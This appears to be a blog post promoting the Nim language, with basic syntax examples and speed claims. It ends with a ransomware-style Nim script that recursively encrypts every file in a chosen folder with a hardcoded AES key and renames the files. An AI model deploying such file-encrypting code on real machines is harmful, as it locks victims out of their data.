What if I tell you there is a language similar to Python in terms of syntax but closer to C++ or sometimes even better in terms of speed and these are just some of its charms and this is just tip of the iceberg
You would probably say that I am mad but wait we are in for a treat just bear with me.
Nim first version 0.8.2 was launched in the year 2008 it was developed by Andreas Rumpf. According to the official docs, "Nim is a statically typed compiled systems programming language. It combines successful concepts from mature languages like Python, Ada and Modula."
#To cross compile, use for example:
#The code will compile and give e executable for linux
nim c --cpu:i386 --os:linux --compileOnly --genScript myproject.nim
I think we have enough reasons to know that it’s something one should look into.
once you have installed Nim you should be able to run nim --version
without any problems.
# This is a comment
echo "Hello World"
To create an executable nim compile main.nim
We can run main.nim
file from cmd or use nim compile --run main.nim
this will create and run the executable.
var name: string = readLine(stdin)
echo "Hi, ", name, "!"
#Input Harry
#Output
Hi Harry
Source: https://github.com/lh3/biofast
Source: https://github.com/lh3/biofast
We see that sometimes Nim is even faster than C++.
Before ending I would Like to Show one of my Own Creations that Got me to Nim. Caution use this at your own risk.
Editor’s Note: This code is for educational purposes only and should not be run on devices/servers not explicitly owned by YOU. Running this on a friend's or a third-party's computer will encrypt all of their files and open the executor of the code (whether done explicitly or inadvertently is likely to make you liable for damages and/or imprisonment in certain jurisdictions.
#This will encrypt each and every file in that folder given in the path variable.
import os
import strformat
import base64
import nimcrypto
func toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))
let
password: string = "myKey" # Our secret key
path: string = "path_of_folder_we_want_to_encrypt"
for file in walkDirRec path:
let fileSplit = splitFile(file)
if fileSplit.ext != ".encrypted":
echo fmt"[*] Encrypting: {file}"
var
inFileContents: string = readFile(file)
plaintext: seq[byte] = toByteSeq(inFileContents)
ectx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
encrypted: seq[byte] = newSeq[byte](len(plaintext))
iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
var expandedKey = sha256.digest(password)
copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
echo len(inFileContents)
ectx.init(key, iv)
ectx.encrypt(plaintext, encrypted)
ectx.clear()
let encodedCrypted = encode(encrypted)
let finalFile = file & ".encrypted"
moveFile(file, finalFile)
writeFile(finalFile, encodedCrypted)
In the end, I would like to say that Nim is an awesome language that has a lot of potentials and will surely make great use. I would like to say everyone who liked this blog should help the community grow and spread the word. It doesn't matter how good this language is if it is not used It will surely die. Make Nim Famous
Also published here.